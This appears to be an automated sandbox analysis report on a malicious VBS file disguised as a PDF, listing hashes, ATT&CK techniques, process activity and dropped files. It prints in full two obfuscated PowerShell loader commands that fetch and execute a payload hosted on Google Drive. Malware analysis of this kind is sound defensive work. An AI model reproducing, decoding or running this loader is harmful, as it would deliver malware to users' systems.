8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396

General

Target

A 413736796·pdf.vbs
Size

73KB
MD5

3f5e0a8b0d1ac0143d359bcb63171066
SHA1

7f6368b52a021340768f61ae047d88c7e6d4add3
SHA256

8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396
SHA512

a2a351604fd741bdb95f74836aad27de590eb96857413da9187071c37cc6efd5b261057cd6bec5b4df94d9dc61d3179d4a8a37a4e23b0d5279ba254e83b3f5b3
SSDEEP

1536:sC1DjneW/+yAxEfH8YQO2+VjuNaU7CGTE4+6GDoQVYf:sC1v/3A+fRVji7CW9dGGf

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2192	powershell.exe
7	2192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe
2792	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2792	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2192	powershell.exe
2792	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 2192	1128	WScript.exe	30
PID 1128 wrote to memory of 2192	1128	WScript.exe	30
PID 1128 wrote to memory of 2192	1128	WScript.exe	30
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 2540	2792	powershell.exe	36
PID 2792 wrote to memory of 1752	2792	powershell.exe	37
PID 2792 wrote to memory of 1752	2792	powershell.exe	37
PID 2792 wrote to memory of 1752	2792	powershell.exe	37
PID 2792 wrote to memory of 1752	2792	powershell.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\A 413736796·pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Staggers Eudoxian Basilikummens Bonuspoint Tabskontoers Skallesmkkeren #>;$Lyserde='Showery';<#Lennoaceous reetableringen Retrieveren Personificerende Engladden Trkloset #>;$Paradoksal=$host.PrivateData;If ($Paradoksal) {$Veratrize++;}function Omhng120($Serranid){$Dekaterer=$Shockedness+$Serranid.Length-$Veratrize;for( $Triphosphate=5;$Triphosphate -lt $Dekaterer;$Triphosphate+=6){$Noosphere+=$Serranid[$Triphosphate];}$Noosphere;}function Stungen($Mermithergate){ . ($Psychogram) ($Mermithergate);}$Attributvrdierne=Omhng120 ' S apMTrougoK ncezStivniGen.rlSeminlKysteaIn.an/ Apof5Dr,je.Unreh0 U op Sikk (KimmeWMarbliTilb,nBr.lldNonv.o Fo,gwFo hisGenm. Kv.lN LadiTIgang Ducat1Tor j0Roeku.Schis0Mis t;C,odp NonefW PaneiFunkinTegne6Bnk v4Dripp; Eth ClywdxPerfo6 otto4Nomog;Yuruj ompharCh.fsvCykel:Unrev1 al g2Monol1Dagbo.Ersta0Janic) pole HyperG en,meMini cHeatek AlmioHu.ge/U sty2Strat0C ntr1Afko 0 U ig0ulsel1Lr.om0 Un u1 Tak DetaiFEf eriS,andrEnd.oe yltefP ukiorovsexDopin/Anemo1Os,el2di co1St,rs.Forva0Tub r ';$Odelet=Omhng120 'StenaUHomopSInveseVasofrA omv-Vejl,aReintG Sti,eDvornNAficiTEfter ';$Exaltations=Omhng120 '.ndechSv retMe,antMaoprpFeoffs Exp,: Cach/H ved/Deni dVel,frBespiiAntifvDiesee,ncau.Af tagIld uo op.aoSpildgPedomlUdrkeeGabes. X muc S.rboVrdstmska.d/Vildsu Bestc Udho?Casime.ragixStreep Suf.oPacifr Fedttacade=GroutdM ntaoGho twFyrrenCulo lrenteo.ermiaDoku d Rut & awahiHesped A li=Sytte1AquifZPseuddTalmayReshvbNobblZLygteYScala4 onunW onarRowsnMUn.omwNonh.YFac.eKEgoceb OutsuSvaleTUnderl irroGAl ebVprokuA snusN h litSlito9nertswOwlytX Nr ehFreigqImmollMe siWPrizeSGlem BBimlecSpr n ';$Christiansfeldere=Omhng120 'Optan>Rapso ';$Psychogram=Omhng120 'Cantaib odee atyrxAsymp ';$Nonexaggeration='Kassemangelens238';$Astrography='\Sternman224.Ill';Stungen (Omhng120 'A nde$Rainmg aledlNonexoForklbCountaPlettlBenzo:PadraIOpr ts.ntgetBrandaMlersnVicekdParitsAdmintW.isttStride Su lng gardDelegeSedim= Dr,b$ SnrleEntern igurvKompl: Overa Sk lpoverfpHintidproklaExuditLandsaStikb+Sharp$ inteANonhysImitatReg orBrys oT ykkgUt ovr UninaBescopT nnih ChoryAf ig ');Stungen (Omhng120 ' rnd$ tab gM,tallPreocoCondubSemita Tilfl urf:Sn ckSSingeeTricorFjerdiC,appaTricot SloseBulbil Angryv der=Lema $ AkadE lndfx TuscaHookslCobantPa deabulbitJunioiNonunoBiblinElectsUnde,. Rei,s Sc.epAdr nl ArguiMarvbtBeho,( Ceph$ShrugCLeonohMetodr RecuiBord sPlumatMarvei BermaPylorn OversOpmunfB,rmeeKonf lMonopdFuldveSpo trCodifeDecay)Upli ');Stungen (Omhng120 'overs[HymenN Gl meDrylyt Hove.Iagt Sm scaeChalkr A csvskil iKursuc Min,eA jekPMinkfo arzi FormnMyrictMrkatM roteaSimuln Nsk aCarougSmedeerestirTypol] D.ct:Klu d:OnomaS Jaw eUre.ecro eruLkkerrEnjoyi.entetHercyyAfs.iPMeninr CongoSlumbtNarrooReduccHyperoDuntplNeatn Stan.=Still Optim[Un erNVentueAnthrtI tax.BallfSIngeneM,rphc ntrouSkaber c,lpiV rdetgraviySulfaPT.ykkrOrd eoSolbatElekto UnoccNervio Fritl PrecTBill ySkr.bpLdreceNavne] rodu: Prpa:Cos.uTPecullBecrisCorre1Pikan2M cac ');$Exaltations=$Seriately[0];$Nongratifying=(Omhng120 'Songo$ AlumgM slyl RidsOStedmBRadioADel.nLOutpe:d skod O diy CaddeChampmMy coawindskPortaiSh ngN ccengSquad=ContaNPal ee BoerwGa,le- askOEtrusbP ppaJ postepursuCOran TBirac Arla sDrayiyt mposNonexTBo igeDruckmDiaki. BetinSlyngeVu.tuTRin e.VakuuwGanjaEOligabTils,cPirusLIntuiiDumdretrichnSkylltEndos ');Stungen ($Nongratifying);Stungen (Omhng120 'Donkr$ Int DPos ty MisteAncismTac.ya CounkFremeiSoftnnSubskgtwa d. iltrHCollieP steaUno edNa.opeumba ranodesRmega[Misto$SarifOMultidGlo,se RondlColomeCharat Medb]Front= List$ .aktATaktat OvertStra.r KlipiGlaurbPiratuOvonit stanvinde r CruodSpot iT.teleHous,rBeta nutense Reag ');$indledningers=Omhng120 'Inter$ .urpD L,ddyUnde eUncoummisdoaPer ek stofi.ebninjesuigG mcr. AlviD umfooDecenw ndsntevanlModneoMa agaKolbedSoldeF HeliiUn.nel Imdee riv( Kont$LektuEMavesx BinaaSkak.lXyloftInteraInjektTv reiMandjoFlippn Forms orag, gi t$SrklaMKrakee c epgBlamaaUnstar IjmaaInsti)psyko ';$Megara=$Istandsttende;Stungen (Omhng120 'Ndtrf$ ouquG tooll rikiOAlmacBOpfriaToothlProd :GefilD Inteo BesiNTyphousoci tBitniSLaman= njoi(gmelitResurEBaandsFlas,t Ildr-otozop AddraB,styt omfrHPeasa Chaws$TrnermBl baEBrideGBeroeaBlyglrAfsteABland)Omfo, ');while (!$Donuts) {Stungen (Omhng120 'Delef$JentrgRiflilKem koColosbUnsu a Schel exah:HvlviDBec siFrontdP ecrySesqunListeaUdfldmSucrai GaveaThion=Udrad$.utoltOmbytrfrogfu.lleseW,yme ') ;Stungen $indledningers;Stungen (Omhng120 'StiffSPreobtColosaLaeotrS tratChiff- UdasSVouchlJews eSepale opplpBinds Abote4Leads ');Stungen (Omhng120 'Hastv$T.ikogOve flL veroJ,nglbDeadwa selelOmgng:Asse DHvneroStemnnMang,uOwnsutLakfasPri,r= U ex(bo igT PacheCiff sOv.rptOldeb-Pa,esP ChiaaUl entU sanhUse e To on$ UnguM VermeGenkog BlodaF,dlar adioaRasor)Obers ') ;Stungen (Omhng120 'Overs$Utakng AllelCl,sso Bu,nbForlaa VedllForha:RevirT ,ouraNonsem Ro deHayag= Med $Telefg WiltlmoutooHetaebel,owaIndf,lmonos: EnerFHandsiSiks lPretrmLun rsDromot summr Derbi EctomPoli mPhotoeOve,nlHuers+Acina+Disbe%Under$,andsS ungeeUnb arReseriAccu.a Gen tunhare fblalSlummyAnt.r.LaramcSmallo SkyduAfskrnSybiltMaves ') ;$Exaltations=$Seriately[$Tame];}$Eksekverbare=282308;$trikstank=31667;Stungen (Omhng120 'C rom$ motigCirculTagryoMiliebForloaG.bbel S pr:NonemJBlacku Eftel orudeAllerm BluneForbis puppsNoveme LrernidiomsWab,t Repe=Akupu .aatGAdelseAandftGen r- maniCInsinoGrnsen EgentL,tbee reennFraflt ndel Unr p$.outiMro aieOpkalgGutsiaPilferKle oa She, ');Stungen (Omhng120 ' ore$Forsvgtmmerl Ens o CarbbPseudaRkkevlBev s:FormaEAspacxS ptopC rkelFriediFj rncFlyn aSunfibSvaeriLokall Nippi roustBlaahyTopsp rind=W shi Retor[ xureSNotoryTil.ys salvtContaeEmanumneote.KefsfCAu tlo.odifnHyn,sv Reole DamprL.gkatNumbb]Skatt:Proec:MetteFF dusrSkitsoChargmInterBBe liaStvnisforfeeCro.k6 egle4 itheSFrosttLatherAmpleiAblatnPrologPalae(Belam$ Au oJDe maustranlGoyineEndotmCommieSeggas ecisMali.e NectnAntics Akti)Besla ');Stungen (Omhng120 'Missu$SubvegfravrlTaksto portb Re saNinetlGalvv:Leg nTFlymehTrapioEnh dmCordiiBrugesD cklt Ac u Uddan=Confi Afpa[ MetaS Ect y Genes.ipsot harie rdomm Stev.Musk,TOmproeSek nx Othatindkr. SecaEAlv onEctrocOrigioErkyndBryoniSneadnVillig ,ntr]Soci :rgneh:StilmABrnepS ynonCP.laeISaracIBetj .SeersGUndereEnwrit pannS Umrktbassar trici otanGamb g over( Coxe$DrapeE Se uxN,nmapCranilFerdyiSleigcKamgaaAdaptb Gappi.aabul Tek iFolket DiacyDisco) Farv ');Stungen (Omhng120 'Samme$CircugTasselVens.oRhi ebS elnaBothilThaum:HvidkoHoggepMolalsMet gt BesktO teaeIndbanGonord StateDem t=Downv$DisemTNaturhUn raoBagr.mPersoiSprkfs Blegt M zz.Hove.sDe,umuanstrbEmbiosJydettOptakrT staiBeslanRsonngP haw( .iva$TanisE R.mpkLymphsHu hjedaakakD shevVrvleeHeracrSubcob So aa A derSamleeParti, apot$Laze.tM diarShoppi Foolk fluisForgat ver aUndernportskD,tal)Echiu ');Stungen $opsttende;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Staggers Eudoxian Basilikummens Bonuspoint Tabskontoers Skallesmkkeren #>;$Lyserde='Showery';<#Lennoaceous reetableringen Retrieveren Personificerende Engladden Trkloset #>;$Paradoksal=$host.PrivateData;If ($Paradoksal) {$Veratrize++;}function Omhng120($Serranid){$Dekaterer=$Shockedness+$Serranid.Length-$Veratrize;for( $Triphosphate=5;$Triphosphate -lt $Dekaterer;$Triphosphate+=6){$Noosphere+=$Serranid[$Triphosphate];}$Noosphere;}function Stungen($Mermithergate){ . ($Psychogram) ($Mermithergate);}$Attributvrdierne=Omhng120 ' S apMTrougoK ncezStivniGen.rlSeminlKysteaIn.an/ Apof5Dr,je.Unreh0 U op Sikk (KimmeWMarbliTilb,nBr.lldNonv.o Fo,gwFo hisGenm. Kv.lN LadiTIgang Ducat1Tor j0Roeku.Schis0Mis t;C,odp NonefW PaneiFunkinTegne6Bnk v4Dripp; Eth ClywdxPerfo6 otto4Nomog;Yuruj ompharCh.fsvCykel:Unrev1 al g2Monol1Dagbo.Ersta0Janic) pole HyperG en,meMini cHeatek AlmioHu.ge/U sty2Strat0C ntr1Afko 0 U ig0ulsel1Lr.om0 Un u1 Tak DetaiFEf eriS,andrEnd.oe yltefP ukiorovsexDopin/Anemo1Os,el2di co1St,rs.Forva0Tub r ';$Odelet=Omhng120 'StenaUHomopSInveseVasofrA omv-Vejl,aReintG Sti,eDvornNAficiTEfter ';$Exaltations=Omhng120 '.ndechSv retMe,antMaoprpFeoffs Exp,: Cach/H ved/Deni dVel,frBespiiAntifvDiesee,ncau.Af tagIld uo op.aoSpildgPedomlUdrkeeGabes. X muc S.rboVrdstmska.d/Vildsu Bestc Udho?Casime.ragixStreep Suf.oPacifr Fedttacade=GroutdM ntaoGho twFyrrenCulo lrenteo.ermiaDoku d Rut & awahiHesped A li=Sytte1AquifZPseuddTalmayReshvbNobblZLygteYScala4 onunW onarRowsnMUn.omwNonh.YFac.eKEgoceb OutsuSvaleTUnderl irroGAl ebVprokuA snusN h litSlito9nertswOwlytX Nr ehFreigqImmollMe siWPrizeSGlem BBimlecSpr n ';$Christiansfeldere=Omhng120 'Optan>Rapso ';$Psychogram=Omhng120 'Cantaib odee atyrxAsymp ';$Nonexaggeration='Kassemangelens238';$Astrography='\Sternman224.Ill';Stungen (Omhng120 'A nde$Rainmg aledlNonexoForklbCountaPlettlBenzo:PadraIOpr ts.ntgetBrandaMlersnVicekdParitsAdmintW.isttStride Su lng gardDelegeSedim= Dr,b$ SnrleEntern igurvKompl: Overa Sk lpoverfpHintidproklaExuditLandsaStikb+Sharp$ inteANonhysImitatReg orBrys oT ykkgUt ovr UninaBescopT nnih ChoryAf ig ');Stungen (Omhng120 ' rnd$ tab gM,tallPreocoCondubSemita Tilfl urf:Sn ckSSingeeTricorFjerdiC,appaTricot SloseBulbil Angryv der=Lema $ AkadE lndfx TuscaHookslCobantPa deabulbitJunioiNonunoBiblinElectsUnde,. Rei,s Sc.epAdr nl ArguiMarvbtBeho,( Ceph$ShrugCLeonohMetodr RecuiBord sPlumatMarvei BermaPylorn OversOpmunfB,rmeeKonf lMonopdFuldveSpo trCodifeDecay)Upli ');Stungen (Omhng120 'overs[HymenN Gl meDrylyt Hove.Iagt Sm scaeChalkr A csvskil iKursuc Min,eA jekPMinkfo arzi FormnMyrictMrkatM roteaSimuln Nsk aCarougSmedeerestirTypol] D.ct:Klu d:OnomaS Jaw eUre.ecro eruLkkerrEnjoyi.entetHercyyAfs.iPMeninr CongoSlumbtNarrooReduccHyperoDuntplNeatn Stan.=Still Optim[Un erNVentueAnthrtI tax.BallfSIngeneM,rphc ntrouSkaber c,lpiV rdetgraviySulfaPT.ykkrOrd eoSolbatElekto UnoccNervio Fritl PrecTBill ySkr.bpLdreceNavne] rodu: Prpa:Cos.uTPecullBecrisCorre1Pikan2M cac ');$Exaltations=$Seriately[0];$Nongratifying=(Omhng120 'Songo$ AlumgM slyl RidsOStedmBRadioADel.nLOutpe:d skod O diy CaddeChampmMy coawindskPortaiSh ngN ccengSquad=ContaNPal ee BoerwGa,le- askOEtrusbP ppaJ postepursuCOran TBirac Arla sDrayiyt mposNonexTBo igeDruckmDiaki. BetinSlyngeVu.tuTRin e.VakuuwGanjaEOligabTils,cPirusLIntuiiDumdretrichnSkylltEndos ');Stungen ($Nongratifying);Stungen (Omhng120 'Donkr$ Int DPos ty MisteAncismTac.ya CounkFremeiSoftnnSubskgtwa d. iltrHCollieP steaUno edNa.opeumba ranodesRmega[Misto$SarifOMultidGlo,se RondlColomeCharat Medb]Front= List$ .aktATaktat OvertStra.r KlipiGlaurbPiratuOvonit stanvinde r CruodSpot iT.teleHous,rBeta nutense Reag ');$indledningers=Omhng120 'Inter$ .urpD L,ddyUnde eUncoummisdoaPer ek stofi.ebninjesuigG mcr. AlviD umfooDecenw ndsntevanlModneoMa agaKolbedSoldeF HeliiUn.nel Imdee riv( Kont$LektuEMavesx BinaaSkak.lXyloftInteraInjektTv reiMandjoFlippn Forms orag, gi t$SrklaMKrakee c epgBlamaaUnstar IjmaaInsti)psyko ';$Megara=$Istandsttende;Stungen (Omhng120 'Ndtrf$ ouquG tooll rikiOAlmacBOpfriaToothlProd :GefilD Inteo BesiNTyphousoci tBitniSLaman= njoi(gmelitResurEBaandsFlas,t Ildr-otozop AddraB,styt omfrHPeasa Chaws$TrnermBl baEBrideGBeroeaBlyglrAfsteABland)Omfo, ');while (!$Donuts) {Stungen (Omhng120 'Delef$JentrgRiflilKem koColosbUnsu a Schel exah:HvlviDBec siFrontdP ecrySesqunListeaUdfldmSucrai GaveaThion=Udrad$.utoltOmbytrfrogfu.lleseW,yme ') ;Stungen $indledningers;Stungen (Omhng120 'StiffSPreobtColosaLaeotrS tratChiff- UdasSVouchlJews eSepale opplpBinds Abote4Leads ');Stungen (Omhng120 'Hastv$T.ikogOve flL veroJ,nglbDeadwa selelOmgng:Asse DHvneroStemnnMang,uOwnsutLakfasPri,r= U ex(bo igT PacheCiff sOv.rptOldeb-Pa,esP ChiaaUl entU sanhUse e To on$ UnguM VermeGenkog BlodaF,dlar adioaRasor)Obers ') ;Stungen (Omhng120 'Overs$Utakng AllelCl,sso Bu,nbForlaa VedllForha:RevirT ,ouraNonsem Ro deHayag= Med $Telefg WiltlmoutooHetaebel,owaIndf,lmonos: EnerFHandsiSiks lPretrmLun rsDromot summr Derbi EctomPoli mPhotoeOve,nlHuers+Acina+Disbe%Under$,andsS ungeeUnb arReseriAccu.a Gen tunhare fblalSlummyAnt.r.LaramcSmallo SkyduAfskrnSybiltMaves ') ;$Exaltations=$Seriately[$Tame];}$Eksekverbare=282308;$trikstank=31667;Stungen (Omhng120 'C rom$ motigCirculTagryoMiliebForloaG.bbel S pr:NonemJBlacku Eftel orudeAllerm BluneForbis puppsNoveme LrernidiomsWab,t Repe=Akupu .aatGAdelseAandftGen r- maniCInsinoGrnsen EgentL,tbee reennFraflt ndel Unr p$.outiMro aieOpkalgGutsiaPilferKle oa She, ');Stungen (Omhng120 ' ore$Forsvgtmmerl Ens o CarbbPseudaRkkevlBev s:FormaEAspacxS ptopC rkelFriediFj rncFlyn aSunfibSvaeriLokall Nippi roustBlaahyTopsp rind=W shi Retor[ xureSNotoryTil.ys salvtContaeEmanumneote.KefsfCAu tlo.odifnHyn,sv Reole DamprL.gkatNumbb]Skatt:Proec:MetteFF dusrSkitsoChargmInterBBe liaStvnisforfeeCro.k6 egle4 itheSFrosttLatherAmpleiAblatnPrologPalae(Belam$ Au oJDe maustranlGoyineEndotmCommieSeggas ecisMali.e NectnAntics Akti)Besla ');Stungen (Omhng120 'Missu$SubvegfravrlTaksto portb Re saNinetlGalvv:Leg nTFlymehTrapioEnh dmCordiiBrugesD cklt Ac u Uddan=Confi Afpa[ MetaS Ect y Genes.ipsot harie rdomm Stev.Musk,TOmproeSek nx Othatindkr. SecaEAlv onEctrocOrigioErkyndBryoniSneadnVillig ,ntr]Soci :rgneh:StilmABrnepS ynonCP.laeISaracIBetj .SeersGUndereEnwrit pannS Umrktbassar trici otanGamb g over( Coxe$DrapeE Se uxN,nmapCranilFerdyiSleigcKamgaaAdaptb Gappi.aabul Tek iFolket DiacyDisco) Farv ');Stungen (Omhng120 'Samme$CircugTasselVens.oRhi ebS elnaBothilThaum:HvidkoHoggepMolalsMet gt BesktO teaeIndbanGonord StateDem t=Downv$DisemTNaturhUn raoBagr.mPersoiSprkfs Blegt M zz.Hove.sDe,umuanstrbEmbiosJydettOptakrT staiBeslanRsonngP haw( .iva$TanisE R.mpkLymphsHu hjedaakakD shevVrvleeHeracrSubcob So aa A derSamleeParti, apot$Laze.tM diarShoppi Foolk fluisForgat ver aUndernportskD,tal)Echiu ');Stungen $opsttende;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\syswow64\msiexec.exe
  "C:\Windows\syswow64\msiexec.exe"
  2⤵
  PID:2540
- C:\Windows\SysWOW64\wermgr.exe
  "C:\Windows\system32\wermgr.exe" "-outproc" "2792" "1056"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\OutofProcReport259457698.txt

Filesize
1KB

MD5
99afb9dcccee4251855e1e1ae6f2d7fd

SHA1
56d95a341c08bb00a654f17b474191295ba97988

SHA256
e5481e4249f196143370401b3c87078798b0728c599d0c8b6c5ee689cbb5aa80

SHA512
aafabf2bafadf77362cb39f0f27ace1fa5188bf29d7bc864d0243b8ad55217b3799fca58ba8e5df2d7d2c5ae6e191e764ced48c02d6cd43a68c41a043bf2c4e3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P2CRGVSGEBKT03FB6SQI.temp

Filesize
7KB

MD5
ad0c0457a870373da354da001406c462

SHA1
b4138343abb3d4dc7380f6f7a839ad8f8ab7c6ac

SHA256
a538ac518c5a02864d6dffcbe043af50ec8a7ae9128af5593785554d505a7928

SHA512
52593a120a773fcc59289f1db38f9018e5a8c6248a9caaf25818a5963a73f6205aceb99ad076390b9570fccfb3b7b117e4f51863eb53e5c88cdca227bd3509e6

Download Submit
C:\Users\Admin\AppData\Roaming\Sternman224.Ill

Filesize
408KB

MD5
ce86e8ebfb09204b1b79edd6b0ba0aee

SHA1
4d94c2433116295b08b1acf3a693a9bd87b8d12b

SHA256
1a4a1635d110e2f9f279138fceea9a3fc724e62ac91c199a83338c51053a450e

SHA512
c20ea924ded0ad9c6cef417396df2c1bb9ea1d14f60f56d30c2a41f08ff60895e9e82fa8cd7c5cfb3934acf138bac7eb561027e4e9e46dd4711e6aff49606f5d

Download Submit
memory/2192-10-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-8-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-9-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-4-0x000007FEF573E000-0x000007FEF573F000-memory.dmp

Filesize
4KB

Download
memory/2192-11-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-13-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-14-0x000007FEF573E000-0x000007FEF573F000-memory.dmp

Filesize
4KB

Download
memory/2192-16-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-7-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2192-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2192-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2792-20-0x0000000006710000-0x000000000BDDC000-memory.dmp

Filesize
86.8MB

Download

Analysis

Sharing